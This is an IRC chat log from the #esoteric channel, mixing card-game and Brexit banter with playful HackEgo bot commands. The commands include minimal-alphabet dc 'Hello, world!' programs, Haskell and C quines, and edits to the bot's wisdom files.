Avatar \ 13/13 \ Death's Shadow gets -X/-X, where X is your life total. \ WWK-R 14:38:29 so, the gist of it is, imperative languages are mean 14:39:10 and Death's Shadow is not cuddly 14:41:25 -!- bender__ has quit (Changing host). 14:41:25 -!- bender__ has joined. 14:41:35 -!- bender__ has changed nick to bender. 14:43:58 that would actually be a nice card for hearthstone 14:49:27 So, it gets stronger the closer to death you are? Neat! 14:51:41 yes, and Diminish kills it 15:03:37 -!- boily has joined. 15:45:01 -!- Melvar has quit (Quit: WeeChat 1.4). 15:45:14 -!- Melvar has joined. 15:46:06 -!- idris-bot has quit (Ping timeout: 276 seconds). 15:50:31 -!- iaglium has joined. 15:56:13 the nice thing about it in hearthstone would be that you actually don't want to get it silenced 16:21:54 mynamello. silenced as in people not talking, or like no sound effects? 16:30:56 It’s funny how “silence(d)” in so many games refers to being unable to cast spells or certain spells, including some that do not show the spell having any verbal component. 16:35:32 silencing in hearthstone removes any special effect of a minion 16:39:14 -!- Kaynato has joined. 16:55:16 So in this case, wouldn’t you *want* it silenced, because that’d remove the debuff? 16:55:59 well, your opponent won't silence it, yes 16:56:21 usually you silence enemy minions to get rid of annoying effect 16:57:05 Ah, you meant you don’t want to silence your *enemy’s*. Yeah. 17:00:53 <\oren\> Uh-oh what if Nexit is next? 17:01:20 <\oren\> It sounds like a allergy medication 17:08:11 "major clothing store leaving EU" 17:08:37 "thousands of buy-happy shoppers infuriated" 17:08:52 s/thousands/millions/ 17:10:14 -!- augur has joined. 17:12:36 -!- trn has quit (Ping timeout: 246 seconds). 17:12:49 -!- jaboja has joined. 17:16:14 -!- gamemanj has quit (Ping timeout: 260 seconds). 17:16:24 gamemanj: the obvious solution is to found an EU subsidiary. Luxembourg is popular for tax reasons... 17:16:39 -!- gamemanj has joined. 17:18:12 <\oren\> David Cameron resined 17:18:16 oh xkcd, I think Randall overestimates the impact of tinyurl... since twitter has its own URL shortener. 17:21:49 `? brexit 17:21:59 brexit is like a break, except when there's no surrounding loop, in which case it's like an exit. 17:23:00 -!- trn has joined. 17:33:24 -!- moon__ has joined. 17:33:32 anyone know a free VM (not virtualbox)? 17:35:41 qemu, bochs, dosbox 17:41:56 -!- Koen__ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 17:42:53 kvm xen dosemu 17:43:27 (kvm borrows from qemu but the hypervisor should be its own? I don't know) 17:44:13 https://en.wikipedia.org/wiki/Comparison_of_platform_virtualization_software lists licenses too 17:47:51 -!- jaboja has quit (Ping timeout: 264 seconds). 17:49:26 -!- augur has quit (Remote host closed the connection). 17:50:45 -!- jaboja has joined. 17:55:17 hbot will be booted again soon 18:00:45 -!- jaboja has quit (Read error: No route to host). 18:07:01 -!- bender has quit (Ping timeout: 250 seconds). 18:09:54 -!- jaboja has joined. 18:19:39 -!- jaboja has quit (Ping timeout: 264 seconds). 18:24:01 -!- boily has quit (Read error: Connection reset by peer). 18:25:12 -!- boily has joined. 18:27:45 -!- jaboja has joined. 18:28:09 \oren\: Oh no! What sort of resin did he turn into? 18:29:09 -!- puckipedia has quit (Ping timeout: 260 seconds). 18:29:10 There's a brand of headache medication sold in Finland called "Dexit". 18:29:36 I guess that'd be the Danish one. 18:29:45 hbot is being recovered 18:30:20 They have a very annoying ad jingle that goes approximately "dexit, dexit, headache's exit". 18:30:54 Except when they rebranded it to cover more aches and pains than just headaches, they just removed the word "head", but kept the timing and the rest in place. 18:31:24 So it turned into "Dexit, Dexit, ...ache's exit" (the possessive there works better in Finnish), with a really awkward prosody. 18:32:05 -!- puckipedia has joined. 18:37:54 -!- puckipedia has quit (Ping timeout: 260 seconds). 18:37:54 -!- HackEgo has quit (Ping timeout: 260 seconds). 18:39:59 -!- puckipedia has joined. 18:44:59 <\oren\> < int-e> kvm xen dosemu <-- I was so sure that was you speaking a foreign language... 18:46:32 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval 18:46:55 -!- Reece` has joined. 18:49:29 -!- HackEgo has joined. 18:50:08 * boily mentions moon__. mhelloon__. 18:50:14 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval 18:50:40 I think moon__'s idea may result in spammy results... 18:50:43 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval 18:50:51 Especially if people talk about moon. 18:50:54 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval 18:51:07 you have got to be kidding me, it doesn't check for the "__" 18:51:20 Hmm, ill fix that 18:51:23 And turn it of 18:51:25 I propose "that lunar object" 18:51:25 Lol 18:52:16 or "mluni" 18:52:33 I suggest "mhelloon" 18:52:36 Dont make me add that to the catch 18:52:42 lol 18:53:09 eh, i wont 18:53:24 (meanwhile, looking at a dictionary: ..."moon", in the sense of "space station"... what.) 18:53:58 (oh, apparently the correct word was lunra) 18:54:15 (mluni is just satellite) 18:55:47 mention me and the moon again 18:55:54 moon__ 18:55:56 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval 18:56:00 moon 18:56:01 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval 18:56:03 Damn 18:56:19 _moon_ 18:56:19 >_> 18:56:21 -!- myndzi\ has joined. 18:56:25 *slinks away* 18:56:36 * boily mapoles moon__ back into the chännel 18:56:47 * moon__ uses magic! *Poof!* moon_ will now say this when someone mentions him after a random interval 19:01:14 -!- myndzi\ has quit (Ping timeout: 260 seconds). 19:03:21 <\oren\> Uh.. If I was to add a script to my irssi, I would make it do something *useful* 19:03:43 <\oren\> (Or at least it would interpret an esolang) 19:04:29 -!- ybden has quit (Quit: Fing). 19:04:40 -!- ybden has joined. 19:06:28 -!- Reece` has quit (Read error: Connection reset by peer). 19:06:55 maybe moon__ should be like myndzi and have little dancing stick figures? 19:25:03 -!- jaboja has quit (Ping timeout: 264 seconds). 19:28:51 -!- Etaoin has joined. 19:37:34 -!- jaboja has joined. 19:41:43 -!- augur has joined. 19:46:22 -!- copumpkin has quit (Quit: My MacBook Pro has gone to sleep. ZZZzzz…). 19:49:22 -!- \oren\ has quit (Quit: leaving). 19:50:34 -!- oren has joined. 19:57:31 memes 19:58:19 Hmm it would be nice (horrible) if there was a bot that scanned for memetic phrases and memeified them 19:58:37 Memeified all the things! 19:59:06 * boily looks at oren 19:59:28 < memebot> http://www.9gag.com/djasdhajkshdjkh 20:00:06 Hmm it would be nice (horrible) if there was a bot that scanned for cancer and spammed it 20:00:10 ^fixed it^ 20:00:21 I heard you like memes so we put a meme in your meme so you can meme while you meme 20:02:57 oerjan, that's a really neat formula! I'll save that somewhere. I take it this comes from euler's identity as so many things do? 20:04:08 -!- oren has changed nick to \oren\. 20:07:39 -!- jaboja has quit (Ping timeout: 264 seconds). 20:20:18 -!- moon__ has quit (Ping timeout: 250 seconds). 20:24:19 -!- augur has quit (Quit: Leaving...). 20:35:12 -!- tswett has set topic: The intradisciplinary hub of solidarity matrices, esoteric programming language design, multichannel bot abuse (always safe, sane and consensual), and font forging | http://esolangs.org/ | logs: http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/?C=M;O=D | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf. 20:48:58 -!- Etaoin has quit (Quit: Page closed). 20:49:10 -!- idris-bot has joined. 21:18:09 -!- hppavilion[1] has joined. 21:32:39 `wisdom 21:32:40 `wisdom 21:32:41 `wisdom 21:32:41 `wisdom 21:32:42 `wisdom 21:33:21 1337//1337 15 50 905 21:33:21 pipe//This is not a pipe. 21:33:21 oic//OIC, OIC means Oh I see. 21:33:21 footnote 8//Isn't it fun reading through all the footnotes? 21:33:21 post-turing machine//A post-Turing machine is a machine from the post-Turing era. 21:33:40 hppavilion[1]: What's share/tanebgrep for? 21:36:19 905? 21:36:27 shachaf: For grepping for taneb 21:36:37 But anyone can grep for taneb anyway. 21:36:47 Why do you need it in the hg history? 21:36:50 shachaf: I outputted a grep there then opened it on codu so I could see the full file 21:37:00 I'd rather you didn't grep for me, it's a bit of an invasion of privacy 21:37:11 OK, so it was a pseudo-paste. 21:37:13 * hppavilion[1] is not the nsa 21:37:18 shachaf: Yes? 21:37:22 I don't think share/ is a good place for that. 21:37:23 Oh, right, there's a paste command, isn't there? 21:37:26 `cat bin/paste 21:37:27 ​#!/bin/bash \ if [ "$1" ] && url "$1" 2>/dev/null # Save making a file when it already exists. \ then \ true \ else \ PASTENUM="$RANDOM" \ \ mkdir -p $HACKENV/paste \ \ url paste/paste."$PASTENUM" \ cat -- "${1--}" > $HACKENV/paste/paste."$PASTENUM" \ fi 21:37:33 Better to put it in paste/. 21:38:33 Taneb: Is that actually true? 21:39:15 It's more that every now and then I get pinged a few dozen times even though no-one particularly wants my input on anything 21:40:11 Ah. 21:40:26 I guess all the Tanebventions ping you. 21:40:54 Of course I was actually addressing you yesterday. 21:44:52 was Taneb invented by Taneb? 21:45:02 `? cis 21:45:04 The CIs are a secret society led by David Morgan-Mar, bent on conquering the world from Sydney with web comics and unsolvable puzzles. They invented Taneb. 21:45:14 oh 21:45:26 is Taneb a CI? 21:45:34 No 21:46:13 Taneb: Are you in York? 21:46:19 No 21:46:27 Northumberland? 21:48:50 Hexham? 21:53:01 Yes 21:59:28 -!- gamemanj has quit (Ping timeout: 258 seconds). 21:59:52 Weren't you in London at one point? 22:00:45 For one night, in December 22:01:11 I attended a workshop on software verification at ICL 22:01:51 -!- hppavilion[1] has quit (Ping timeout: 240 seconds). 22:02:47 -!- boily has quit (Quit: SIMILAR CHICKEN). 22:04:05 Yay, Isabelle believes me that CL (the SKI one) is confluent. 22:29:56 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:35:44 int-e, I've been meaning to learn Isabelle 22:42:18 Hmm. There's a lot of documentation at http://isabelle.in.tum.de/documentation.html and there's a (fairly inactive, but populated with a few helpful people) #isabelle on Freenode. 23:00:52 That said it's probably hard to pick up Isabelle all by oneself... at work I have a number of colleagues who are also using Isabelle, which is tremendously helpful. Workshops with Isabelle tutorials may also help. 23:15:25 -!- oerjan has joined. 23:16:59 @tell hppavilion[1] In a 4D universe, would we have 2D roads? <-- if you consider 4d to include relativistic spacetime, we already do hth 23:16:59 Consider it noted. 23:17:41 -!- jaboja has joined. 23:22:07 -!- bender has joined. 23:26:34 -!- boily has joined. 23:28:06 -!- bender has quit (Ping timeout: 250 seconds). 23:33:40 <\oren\> Roads are technically 3d actually 23:34:15 <\oren\> They have width and a maximum vertical clearance 23:36:00 ngurrju maboilyinpa 23:37:25 -!- PinealGlandOptic has joined. 23:37:52 -!- PinealGlandOptic has quit (Client Quit). 23:39:02 <\oren\> I found out ksp has a official irc channel 23:40:58 ... 23:41:00 ... 23:41:04 yoruba? 23:41:05 \oren\: but those are tiny dimensions. see string theory. 23:41:11 boily: nope. 23:41:27 I'm stumped. 23:42:13 well if you've so far _not_ googled things, i'm still impressed :P 23:42:52 it's more fun to guess without any tools :D 23:43:09 (hm i guess i should confess i did that with your mayan one yesterday. and i _still_ almost didn't find it.) 23:43:34 anyway, wrong continent. 23:44:37 i think my ability to guess languages like that is pretty small for anything non-european. 23:45:17 yolŋu? (that one I'm googling for sources...) 23:45:17 perhaps except a few asian ones. 23:45:33 -!- FreeFull has quit (Ping timeout: 240 seconds). 23:47:35 "The concept of 'Hello' does not exist in Yolngu," 23:47:37 hence most use the English 'hello,' or 'hey' 23:47:50 stupid half-pastes 23:48:17 a language without helloes. nice find! 23:51:44 however, no, but right family! 23:52:05 did you know that the english have over 200 words for hello 23:55:24 yo shachaf, that's silly, obviously it's just a handful of roots that are being portmanteaued into the rest. 23:55:41 helloily 23:55:49 yowly 23:55:59 scowly 23:56:15 `? oerjan 23:56:26 Your mysterious articled cackling zombie overlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 23:56:58 `learn helloily is hella oily hth 23:57:05 Learned 'helloily': helloily is hella oily hth 23:57:18 `? betty crocker 23:57:20 betty crocker? ¯\(°​_o)/¯ 23:58:08 `le/rn Betty Crocker/Betty Crocker is a notorious gambler. 23:58:11 Learned «betty crocker» 23:59:38 quinthellopia! 2016-06-25: 00:01:08 scowchaf? shascow? 00:01:20 boily: whoa whoa whoa 00:01:22 @wn scowly 00:01:24 No match for "scowly". 00:01:27 hm 00:01:35 boily: to repeat, it's not yolŋu, but the same family. 00:02:43 oerjan: warlpiri? 00:03:10 shoachoaf! 00:03:13 *ding*(o) 00:03:27 . o O ( shoachoaf sounds strangely Bavarian... ) 00:03:45 `wisdom 00:03:48 møøse//Møøse is Norwegian for moss. 00:03:53 `wisdom 00:03:57 nobody//Nobody killed the cyclops Polyphemos after he tried to eat a shipful of sailors, and this perceived injustice made Poseidon so mad he swore vengeance at him and the gods couldn't calm him down for ten years. 00:04:07 `wisdom 00:04:09 rhenium//Rhenium is a precious metal. It can be found nowhere in Earth because the Enemy has used up all of it for forging the One Ring. 00:04:21 Igler i møøsen. 00:06:59 did oerjans wisdom once read future expert in lazy computation? 00:06:59 `? odysseus 00:07:01 odysseus? ¯\(°​_o)/¯ 00:07:24 quintopia: i dunno 00:08:32 `learn Odysseus was a Greek nobody, who somehow got famous for horsing around. 00:08:35 Learned 'odysseu': Odysseus was a Greek nobody, who somehow got famous for horsing around. 00:08:48 oops 00:08:50 oerjan: Aren't you an expert in past computation? 00:08:55 Being Precambrian? 00:08:59 `` mv odysseu{,s} 00:09:00 mv: cannot stat `odysseu': No such file or directory 00:09:19 shachaf: well given i haven't really programmed for ages, sounds about right 00:09:25 `` mv wisdom/odysseu{,s} 00:09:28 No output. 00:09:46 oerjan: And you're not American anyway. 00:09:54 http://i.imgur.com/ViHGGeg.png 00:10:58 washington, er, maybe jefferson, or was he later? some adams guy maybe. 00:11:07 definitely not. 00:11:27 made a small http server in bash http://arin.ga:8080/ 00:11:31 there's a Garfield in there, innit? 00:11:33 http://arin.ga:8080/srv source is here 00:11:43 i cannot name the first four norwegian kings (medieval, we haven't had four modern ones yet) in order either. 00:12:11 boily: in the first four? 00:12:17 don't hack me 00:12:33 izabellora. as if we were going to be hacking you :P 00:12:56 if someone can, they're in this chan 00:13:10 oerjan: darn. he was the 20th. 00:13:26 `addquote if someone can, they're in this chan 00:13:29 1284) if someone can, they're in this chan 00:14:02 also nobody else knows it exists 00:15:42 http://i.imgur.com/iRy6j43.png 00:15:44 ken m is tg 00:17:19 conclusion: mr machines see the future hth 00:18:40 `addquote If we don't study the mistakes of the future we're doomed to repeat them for the first time :( 00:18:42 1285) If we don't study the mistakes of the future we're doomed to repeat them for the first time :( 00:20:15 -!- jaboja has quit (Ping timeout: 264 seconds). 00:21:33 irc is the only medium where brexit isn't on topic 00:21:43 i'm so glad it exists 00:26:41 oerjan: now i'm just reading ken ms 00:26:44 http://i.imgur.com/G4uwvB3.png 00:28:44 https://i.imgur.com/5oQV7rN.png 00:30:05 * oerjan thinks he's reached his ken m quota 00:35:29 http://i.imgur.com/mOvuYhY.png http://i.imgur.com/bz6BAdb.png http://i.imgur.com/N6aImsQ.png 00:35:32 these are great 00:46:00 -!- FreeFull has joined. 00:48:54 * oerjan is doing some ancient catching up instead http://www.irregularwebcomic.net/podcasts/podcast015.html 00:53:11 `? oerjan 00:53:14 Your mysterious articled cackling zombie overlord kommisjonær emeritus oerjan is a lazy expert in future computation. Also a Precambrian Norwegian who mildly dislikes Roald Dahl with a pasjon. Lately when he tries to remember a word, "amortized" pops up. His arch-nemesis is Betty Crocker. He sometimes puns without noticing it. 00:53:26 That wisdom entry has too many adjectives. 00:53:30 No room to add more adjectives. 00:53:33 <\oren\> Finnxit <-- surely one should use the proper name and say Suxit hth 00:54:27 it's funny because politics 00:54:34 i,i poistuomi 00:54:49 fizzie: can you confirm/deny twh 00:54:56 @time fizzie 00:54:57 Local time for fizzie is Sat Jun 25 00:54:57 2016 01:00:23 hmm 01:07:12 Ken M is apparently the best troll ever. how can we aspire to such greatness? 01:08:01 <\oren\> EU got 1GB of free space. 01:08:20 brexit offtopic stahp 01:08:52 @tell hppavilion[1] grep has a -r option hth 01:08:52 Consider it noted. 01:10:08 `? brexit 01:10:12 brexit is like a break, except when there's no surrounding loop, in which case it's like an exit. 01:11:21 `learn brexit is a command to forcefully exit, releasing 1GB of free space. 01:11:21 Lets talk about bitcoin...and how thanks to certain political events not to be mentioned i just may have enough to make that purchase... 01:11:24 Relearned 'brexit': brexit is a command to forcefully exit, releasing 1GB of free space. 01:14:52 What about the 1NI? 01:16:15 bitcoin is still alive? 01:17:23 https://m.reddit.com/r/Bitcoin/comments/4pmrpt/bitcoin_price_be_like/ 01:17:23 quintopia: what, are you liquidating your britcoin position? 01:18:04 eh...i never held any GBTC 01:25:06 -!- MoALTz has quit (Ping timeout: 244 seconds). 01:26:15 `wisdom 01:26:17 abstract nonsense//We would have an explanation of abstract nonsense here, but it fled into a diagram and we haven't been able to chase it. We will try again once we find an abstract machete. 01:26:32 `wisdom 01:26:35 john//John is not Hziulquoigmnzhah of Cykranosh, the dread spawn of Cxaxukluth, according to http://smbc-comics.com/index.php?id=4072 01:26:39 `wisdom 01:26:41 shachaf//shachaf sprø som selleri and cosplays Nepeta Leijon on weekends. He hates bell peppers with a passion. The unit of fun punnery is named after him. 01:27:19 HackEgo: nepeta leijon is dead 01:27:31 `wisdom 01:27:33 universe//A universe is a poem in one stanza. 01:29:33 `wisdom 01:29:36 derangement//"Green tandem" is a derangement of "derangement". 01:35:02 `wisdom 01:35:04 burlesque//Burlesque is only the sexiest language on Earth. (See: http://mroman.ch/burlesque) 01:37:19 `culprits wisdom/derangement 01:37:33 int-e 01:41:44 `sled wisdom/derangement//s/"\([^"]*\)"\([^"]*\)"\([^"]*\)"/"\3"\2"\1"/ 01:41:47 wisdom/derangement//"derangement" is a derangement of "Green tandem". 01:42:05 `slwd derangement//s/G/g/ 01:42:10 wisdom/derangement//"derangement" is a derangement of "green tandem". 02:06:10 @tell Etaoin You probably _can_ get it from the euler identity somehow, but it seems easier to me to get _both_ from the Taylor power series for exp, sin and cos. Well, it all gets a bit circular so there are probably several choices for how to bootstrap the definitions. 02:06:10 Consider it noted. 02:07:03 oerjan: another unintentional pun? tdnh 02:07:54 @tell etaoin Hm wait, euler identity seems a little weak. You want at least Euler's formula. 02:07:54 Consider it noted. 02:08:10 shachaf: well at least i noticed it before you said it. 02:10:09 -!- hppavilion[1] has joined. 02:12:03 <\oren\> ARGH 02:12:23 <\oren\> why does /who \oren\ not say orenwatson.be? 02:12:40 <\oren\> oren@ec2-52-2-213-98.compute-1.amazonaws.com <-- what's this crap 02:13:21 orenwatson.be.mad 02:13:33 \oren\: https://aws.amazon.com/blogs/aws/reverse-dns-for-ec2s-elastic-ip-addresses/ hth 02:14:25 You could just get a cloak, though. 02:14:52 <\oren\> like, the clothing? I have one. 02:15:02 @google irc cloak 02:15:04 https://meta.wikimedia.org/wiki/IRC/Cloaks 02:15:28 I could use a cloak... boily@chicken.chicken.chicken 02:16:21 Maybe if you get Chicken Scheme to provide IRC cloaks. 02:17:14 @tell etaoin It's pretty direct from that + conjugation, actually. 02:17:14 Consider it noted. 02:17:37 . o O ( TRIPLICATE CHICKEN ) 02:31:14 * boily snatches the departicken word from oerjan. thanks! 02:31:46 <\oren\> ok well we'll see if this form does anything... 02:34:20 he\\oren\. what colour is your cloak? 02:35:54 -!- hppavilion[2] has joined. 02:37:29 <\oren\> black 02:37:43 It's interesting that https://faq.ssa.gov/ics/support/default.asp?deptID=34019&_referrer= (which is a rather shitty URL) doesn't have a "What the hell is social security" entry 02:37:51 -!- hppavilion[1] has quit (Ping timeout: 246 seconds). 02:37:51 <\oren\> waterproof, too 02:38:55 https://www.cuidadodesalud.gov/es/ is the spanish healthcare.gov. One must wonder why they need the /es/ 02:42:13 <\oren\> probably as opposed to catalan? 02:43:51 hppavilion[2]: As opposed to /en/. 02:44:07 -!- centrinia has joined. 02:45:06 boily: having a BiG fRiDaY nIgHt Eh? 02:45:15 I think he's asking why it's the default 02:45:31 boily: does your cloak billow? 02:47:28 quintopia: quiet night here :D 02:47:39 -!- hppavilion[2] has quit (Ping timeout: 246 seconds). 02:48:10 (at least I downed a few ounces of québécois gin. my patriotic gland is atrophied, and my wild party days are over...) 02:48:22 coppro: I don't have any cloaks yet :( 02:48:28 :( 02:50:05 boily: howzabouta quick game of sth 02:51:43 do you have anything 1v1 that can be hooked up? 02:52:36 uh probs. tend to prefer coop 02:54:53 not sure I can stand something coordinated atm. a little bit too sloshed >_>'... 02:55:28 tomorrow night I'll borderlands with ya. 02:55:41 for now, time to express a pillow. 02:55:43 boily: did you replace your patriotic gland with alcohol? 02:55:53 <_<;;... >_>....... 02:56:01 * boily whistles tunelessly 02:56:27 -!- boily has quit (Quit: TRIPLICATE CHICKEN). 03:03:41 -!- bender has joined. 03:07:51 -!- hppavilion[2] has joined. 03:20:49 -!- lambda-11235 has joined. 03:20:51 -!- dos has joined. 03:24:24 -!- hppavilion[2] has quit (Ping timeout: 246 seconds). 03:27:17 -!- centrinia has quit (Quit: Leaving). 04:13:19 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 04:13:56 -!- spockers has joined. 04:20:04 -!- dos has quit (Ping timeout: 252 seconds). 04:41:11 -!- Kaynato has quit (Read error: Connection reset by peer). 04:46:35 -!- centrinia has joined. 04:47:10 -!- Kaynato has joined. 04:51:35 -!- centrinia has quit (Quit: Leaving). 05:16:34 -!- augur has joined. 05:42:51 -!- Kaynato has quit (Ping timeout: 240 seconds). 06:16:31 -!- Melvar` has joined. 06:17:10 -!- Melvar has quit (Disconnected by services). 06:17:13 -!- Melvar` has changed nick to Melvar. 06:18:46 -!- idris-bot has quit (Ping timeout: 272 seconds). 06:41:16 -!- oerjan has quit (Quit: Nite). 06:47:33 -!- augur has quit (Remote host closed the connection). 07:30:43 -!- lambda-11235 has quit (Quit: Bye). 08:53:25 `` dc <<<11+11+11+11+11+11+1+1+1+1+1+1+P11+11+11+11+11+11+11+11+11+1+1+P11+11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P11+11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P111P11+11+11+11+P11+11+1+1+1+1+1+1+1+1+1+1+P111+1+1+1+1+1+1+1+1+P111P111+1+1+1+P11+11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P11+11+11+11+11+11+11+11+11+1+P11+11+11+P 08:53:52 dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ dc: stack empty \ Hello, world! 09:17:16 -!- MoALTz has joined. 09:24:03 -!- heroux has quit (Remote host closed the connection). 09:25:36 `` dc <<<"11 11+11+11+11+11+1+1+1+1+1+1+P11 11+11+11+111+1+P11 11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P11 11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P111P11 11+11+11+P11 11+1+1+1+1+1+1+1+1+1+1+P111 1+1+1+1+1+1+1+1+P111P111 1+1+1+P11 11+11+11+11+11+11+11+11+1+1+1+1+1+1+1+1+1+P11 11+11+11+11+11+11+11+11+1+P11 11+11+P" 09:25:53 Hœllo, world! 09:26:04 Cale: there's a reason for the stack overflows: the idea was to use as few distinct characters as possible 09:26:11 ah 09:26:47 (I'm going through old files and this turned up) 09:28:13 `` dc <<<11111111111111111111111111111zP 09:28:17 ​. 09:28:23 `` dc <<<11111111111111111111111111111zp 09:28:24 1 09:28:26 hmm. 09:29:56 `` dc <<<11111111111111111111111111111Zp 09:29:57 29 09:33:44 -!- heroux has joined. 09:34:21 true, that'll work. 09:35:03 Cale: oh, I didn't ever think of Z 09:35:07 in an idealized version of dc, zzzz...zzzzP will work 09:35:38 (with 3179672657468351522 z-s in a row... okay, that can be shortened quite a bit) 09:38:04 oh, whoa, how did the code for e get so mangled there... 09:38:25 int-e: not really, 1830 bytes are enough 09:38:32 `` python -c 's="Hello, world!\n"; print "".join((ord(d)-ord(c))%256*"z"+"zP" for c,d in zip("\0"+s, s))' | dc 09:38:40 Hello., world! 09:39:07 ah wait... 09:39:11 you are right 09:39:12 -!- gamemanj has joined. 09:39:23 it goes through two byte realm 09:39:40 but it would take much less z's than 3179672657468351522 09:41:45 int-e: printing 0x48, 0x65, 0x65, 0x6c, 0x2c20, 0x776f, 0x726c64, then... hmm, the final part is a bit off. 09:42:53 H/e/l/l/o/, /wo/rld!/ ends up with 1919706161 characters 09:43:27 int-e: let's cheat and use H/e/l/l/o/, /Wo/rl/d!\n instead :) 09:43:51 7103522 z's 09:47:16 dropping the comma may be the nicer cheat, and that allows H/e/l/l/o/ w/or/ld!/ with 7103537 characters. you should get 6562074, I think? 09:47:45 oh I'm counting the Ps, too, but you need an extra z for each P anyway. 09:53:51 the final number to print + 1 + number of characters 09:54:14 lifthrasiir: no, final number + 2 * number of prints 09:54:15 ah, no, P consumes 09:54:17 yeah 09:54:29 why, exactly, does "hello world" in whatever language this is take up kilobytes? 09:55:00 int-e was doing it with the smallest number of unique bytes 09:55:05 in this case, only with z and P 09:55:16 Ah. 09:55:55 int-e: in any case zP approach is very viable, I guess 10:07:55 What if we were to allow ourselves the alphabet "1d+P", how short could we make the program? There's a lot of room for common subexpression elimination. 10:09:31 `` dc << Hello, world! 10:10:11 `` dc <<<1ddddd11ddddd+++++++++++P1d11dddddddd++++++++++P11dddddddd++++++++d1dddddddd+++++++++ddPP111P11ddd+++P1ddddddddd11d+++++++++++P1ddddddd111++++++++P111P1dd111+++PP1+P11dd++P 10:10:12 Hello, world! 10:10:20 (the alphabet z+P also gives rise to an interesting optimization problem) 10:11:06 * int-e is not printing any final newline, btw 10:11:13 (I didn't work very hard at optimising there, just removed the most obnoxious of the duplications :) 10:13:11 but actually I could just append zP to get it... lucky! 10:14:38 obviously you should use a doubling approach for multiplication. 10:15:18 so ddddd+++++ ==> d+dd++ 10:16:08 but the real waste seems to be that the no values are preserved across the P instructions 10:16:50 very tricky. 10:21:04 `zalgo dc 10:21:35 No output. 10:21:39 `` echo dc | zalgo 10:21:42 d̊ͯc̗̆ 10:21:45 zalgo is the only Haskell program on HackEgo, I think. 10:22:06 I guess there's also quines/haskell. But I compiled that one into bash. 10:22:15 looks like python to me 10:22:25 Oh, maybe I compiled it into Python? 10:22:28 `cat quines/haskell 10:22:29 echo 'main=putStrLn$(<*>)(++)show"main=putStrLn$(<*>)(++)show"' 10:22:43 Or maybe you mean zalgo. 10:26:09 I meant zalgo 10:27:52 hmm, the more naive main=putStr s>>print s;s="main=putStr s>>print s;s=" is shorter 10:31:10 `` find -name '*zalgo* 10:31:11 ​/hackenv/bin/`: eval: line 4: unexpected EOF while looking for matching `'' \ /hackenv/bin/`: eval: line 5: syntax error: unexpected end of file 10:31:16 `` find -name '*zalgo*' 10:31:22 int-e: Feel free to improve it. 10:31:27 `quines/haskell 10:31:39 main=putStrLn$(<*>)(++)show"main=putStrLn$(<*>)(++)show" 10:31:46 ​./bin/zalgoverload \ ./bin/zalgoerjan \ ./bin/zalgo \ ./.hg/store/data/zalgo.d \ ./.hg/store/data/bin/zalgo.d \ ./.hg/store/data/bin/zalgoverload.i \ ./.hg/store/data/bin/zalgo.i \ ./.hg/store/data/bin/zalgo2.i \ ./.hg/store/data/bin/zalgoerjan.i \ ./.hg/store/data/zalgo.o.i \ ./.hg/store/data/zalgo.hi.i \ ./.hg/store/data/zalgo.i \ ./.hg/store/ 10:32:14 I just adapted the old ap(++)show"ap(++)show" 10:32:37 right. 10:34:48 -!- Reece` has joined. 10:37:33 `` ( echo 'main=putStr s>>print s'; echo 's="main=putStr s>>print s\ns="' ) > quines/haskell 10:37:37 No output. 10:37:43 `cat quines/haskell 10:37:44 main=putStr s>>print s \ s="main=putStr s>>print s\ns=" 10:42:09 Two-line quine? That's a bit scow, given how HackEgo renders newlines. 10:42:31 Well, I guess it's unavoidable. 10:42:32 `quines/c 10:42:33 ​#include \ char*a="#include \nchar*a=\"@\";\nvoid main(){char*b=a;for(;(*a)!=0;a++){switch(*a){case '@':if(!(*b))putchar('@');for(;(*b)!=0;b++){switch(*b){case '\"':case '\\\\':putchar('\\\\');putchar(*b);break;case '\\n':putchar('\\\\');putchar('n');break;default:putchar(*b);}}break;default:putchar(*a);}}}"; \ void main(){cha 10:42:33 pfft 10:42:49 `` ( echo 'main=putStr s>>print s;s="main=putStr s>>print s;s="' ) > quines/haskell 10:42:52 No output. 10:43:46 woah 10:44:14 long, *void* main... 10:44:25 What's wrong with void main? 10:44:37 it's only allowed in free-standing implementations 10:45:48 Is that true? 10:46:31 It looks like it can be defined "in some other implementation-defined manner". 10:46:41 I guess it's not too standard. 10:46:59 `culprits quines/c 10:47:05 gamemanj 10:47:24 hmm, okay, it's less strict than I recall. 10:48:01 `` ( echo '#include '; echo 'int main(){char *s="#include %cint main(){char *s=%c%s%c;printf(s,10,34,s,34,10);}%c";printf(s,10,34,s,34,10);}' ) > quines/c 10:48:04 No output. 10:49:01 uh, wait a sec, if that's now "int main", where's the return? 10:50:04 In C99 you don't need to return from main. 10:50:09 Kind of scow if you ask me. 10:50:14 `quines/c++ 10:50:15 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/quines/c++: No such file or directory 10:50:33 please write a quine in the c++ template system twh 10:51:31 `` sed -i 's/r /r/g' quines/c 10:51:34 No output. 10:52:18 sled :'( 10:52:52 I'm pretty sure even learning how to use C++ templates require sacrificing a newborn program to the great Oracle of mlatu, who governs sanity and destruction. Or something. 10:53:06 gamemanj: funny thing... the return is optional, and reaching 